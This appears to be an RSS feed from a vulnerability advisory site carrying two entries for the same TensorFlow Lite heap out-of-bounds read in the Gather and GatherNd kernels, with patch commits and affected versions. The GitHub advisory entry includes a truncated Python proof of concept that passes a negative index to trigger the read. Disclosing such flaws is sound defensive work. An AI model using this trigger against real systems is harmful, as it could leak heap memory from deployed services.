<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 06:04:25 +0000</lastBuildDate>
    <item>
      <title>CVE-2021-37687 — Heap OOB in TensorFlow Lite's `Gather*` implementations</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2021-37687</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; tensorflow&lt;/p&gt;
&lt;p&gt;TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite&amp;#39;s [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`. Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc). We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; tensorflow&lt;/p&gt;
&lt;p&gt;TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite&amp;#39;s [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`. Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc). We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2021-37687</guid>
    </item>
    <item>
      <title>GHSA-jwf9-w5xm-f437 — Heap OOB in TFLite's `Gather*` implementations</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-jwf9-w5xm-f437</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu&lt;/p&gt;
&lt;p&gt;### Impact
TFLite&amp;#39;s [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation.&lt;/p&gt;
&lt;p&gt;Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`.&lt;/p&gt;
&lt;p&gt;Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc).&lt;/p&gt;
&lt;p&gt;```python
import tensorflow as tf
import numpy as np
tf.compat.v1.disable_v2_behavior()&lt;/p&gt;
&lt;p&gt;params = tf.compat.v1.placeholder(name=&amp;#34;params&amp;#34;, dtype=tf.int64, shape=(1,))
indices = tf.compat.v1.placeholder(name=&amp;#34;indices&amp;#34;, dtype=tf.int64, shape=())&lt;/p&gt;
&lt;p&gt;out = tf.gather(params, indices, name=&amp;#39;out&amp;#39;)&lt;/p&gt;
&lt;p&gt;with tf.compat.v1.Session() as sess:
   converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])
   tflite_model = converter.convert()&lt;/p&gt;
&lt;p&gt;interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()&lt;/p&gt;
&lt;p&gt;input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()&lt;/p&gt;
&lt;p&gt;params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))
indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())
interpreter.set_tensor(input_details[0][&amp;#39;index&amp;#39;], params_data)
interpreter.set_tensor(input_details[1][&amp;#39;index&amp;#39;], indices_data)&lt;/p&gt;
&lt;p&gt;interpreter.invoke()
``…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu&lt;/p&gt;
&lt;p&gt;### Impact
TFLite&amp;#39;s [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation.&lt;/p&gt;
&lt;p&gt;Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`.&lt;/p&gt;
&lt;p&gt;Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc).&lt;/p&gt;
&lt;p&gt;```python
import tensorflow as tf
import numpy as np
tf.compat.v1.disable_v2_behavior()&lt;/p&gt;
&lt;p&gt;params = tf.compat.v1.placeholder(name=&amp;#34;params&amp;#34;, dtype=tf.int64, shape=(1,))
indices = tf.compat.v1.placeholder(name=&amp;#34;indices&amp;#34;, dtype=tf.int64, shape=())&lt;/p&gt;
&lt;p&gt;out = tf.gather(params, indices, name=&amp;#39;out&amp;#39;)&lt;/p&gt;
&lt;p&gt;with tf.compat.v1.Session() as sess:
   converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])
   tflite_model = converter.convert()&lt;/p&gt;
&lt;p&gt;interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()&lt;/p&gt;
&lt;p&gt;input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()&lt;/p&gt;
&lt;p&gt;params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))
indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())
interpreter.set_tensor(input_details[0][&amp;#39;index&amp;#39;], params_data)
interpreter.set_tensor(input_details[1][&amp;#39;index&amp;#39;], indices_data)&lt;/p&gt;
&lt;p&gt;interpreter.invoke()
``…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-jwf9-w5xm-f437</guid>
    </item>
  </channel>
</rss>
